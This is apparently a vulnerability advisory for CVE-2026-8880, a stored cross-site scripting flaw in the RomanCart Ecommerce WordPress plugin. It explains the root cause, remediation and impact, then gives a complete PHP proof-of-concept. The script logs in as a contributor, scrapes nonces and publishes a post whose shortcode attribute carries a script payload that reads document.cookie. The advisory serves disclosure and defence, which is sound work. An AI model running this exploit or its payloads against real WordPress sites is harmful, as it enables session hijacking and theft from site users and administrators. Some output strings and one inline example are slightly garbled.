Atomic Edge analysis of CVE-2026-8880 (metadata-based): This vulnerability allows authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript into pages via the ‘blclass’ attribute (and other attributes) of the romancart_button shortcode in the RomanCart Ecommerce plugin for WordPress, versions 2.0.8 and earlier. The CVSS score is 6.4 (Medium), with a network attack vector, low complexity, and no user interaction required for exploitation, though the impact is limited to confidentiality and integrity of low-value assets.
The root cause, inferred from the CWE-79 classification and the vulnerability description, is that the plugin’s romancart_button_shortcode() function fails to properly sanitize user-supplied shortcode attributes (like ‘blclass’) and does not escape them when outputting HTML. In WordPress shortcode handlers, attributes are passed as raw strings to the callback, which then generates HTML output. Without calling WordPress escaping functions like esc_attr() or sanitize_html_class() on these attributes before embedding them in the output, an attacker can inject arbitrary HTML and JavaScript. This conclusion is inferred from the CWE and description; no source code diff was available to confirm the exact vulnerable function.
To exploit this, an attacker with contributor-level access (or higher) navigates to the WordPress post editor and inserts the romancart_button shortcode with a malicious attribute value. For example, the shortcode [romancart_button blclass=”>alert(‘XSS’) would be saved to the post’s content. When any user (including administrators or visitors) views the published or previewed post, the injected script executes in their browser. The attack vector is via the WordPress post/page editing interface; there is no specific AJAX endpoint or REST API involved, as the vulnerability lies in the shortcode rendering process that occurs during normal page view.
Since no patched version is available, the primary remediation for site administrators is to disable or uninstall the RomanCart Ecommerce plugin until an update is released. For developers fixing this vulnerability, the proper fix involves adding input sanitization and output escaping to the shortcode attributes within the romancart_button_shortcode() function. For example, using sanitize_text_field() or esc_attr() on attribute values before output, and applying esc_html() or wp_kses() for attribute values that might contain special characters. The function should also validate attributes against an allowlist of expected values if possible.
If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of any user’s browser when they view an infected page. This can lead to session hijacking (theft of login cookies), phishing attacks (displaying fake login forms), redirection to malicious sites, or defacement of the WordPress site. Because the attack requires authenticated access with contributor-level privileges, the potential for widespread automated exploitation is lower, but targeted attacks against sites with multiple authors or compromised contributor accounts are feasible.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8880 - RomanCart Ecommerce <= 2.0.8 - Authenticated (Contributor+) Stored XSS via Shortcode Attributes
// This PoC assumes the attacker has contributor-level credentials for the target WordPress site.
// It creates a new post with the vulnerable shortcode to demonstrate the Stored XSS.
// Target URL configuration
$target_url = 'http://example.com'; // Change to the target WordPress site
$username = 'attacker'; // WordPress username with Contributor role
$password = 'attacker_password'; // Password for the above user
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-8880-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Fetch the new post page to obtain the wpnonce and _wp_http_referer
$new_post_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-8880-cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Extract _wpnonce for the post creation
preg_match('/name="_wpnonce" value="([^"]+)"/i', $response, $matches);
$wpnonce = isset($matches[1]) ? $matches[1] : '';
// Extract _wp_http_referer
preg_match('/name="_wp_http_referer" value="([^"]+)"/i', $response, $matches);
$wp_http_referer = isset($matches[1]) ? $matches[1] : '';
// Step 3: Create a new post with the malicious shortcode
// The payload injects a script via the 'blclass' attribute of the romancart_button shortcode
// Using a simple XSS payload that displays an alert for proof-of-concept
$payload_shortcode = '[romancart_button blclass="xss"><script>alert(document.cookie)</script>"]';
$post_data = array(
'_wpnonce' => $wpnonce,
'_wp_http_referer' => $wp_http_referer,
'post_title' => 'Test Post - CVE-2026-8880',
'content' => $payload_shortcode,
'post_status' => 'publish', // Or use 'draft' for testing
'post_type' => 'post',
'original_post_status' => 'auto-draft',
'auto_draft' => '',
'closedpostboxesnonce' => '',
'samplepermalinknonce' => '',
'user_ID' => '', // Will be set by WordPress
'action' => 'editpost',
'meta-box-order-nonce' => '',
'post_author' => 1, // Assumes author ID 1, adjust if needed
);
$post_url = $target_url . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-8880-cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 || $http_code == 302) {
echo "[+] Post created successfully. View the post to trigger the XSS.n";
echo "[+] Malicious shortcode used: $payload_shortcoden";
} else {
echo "[-] Failed to create post. HTTP code: $http_coden";
echo "[-] Check credentials or target URL.n";
}
// Clean up the cookie file
unlink('/tmp/cve-2026-8880-cookies.txt');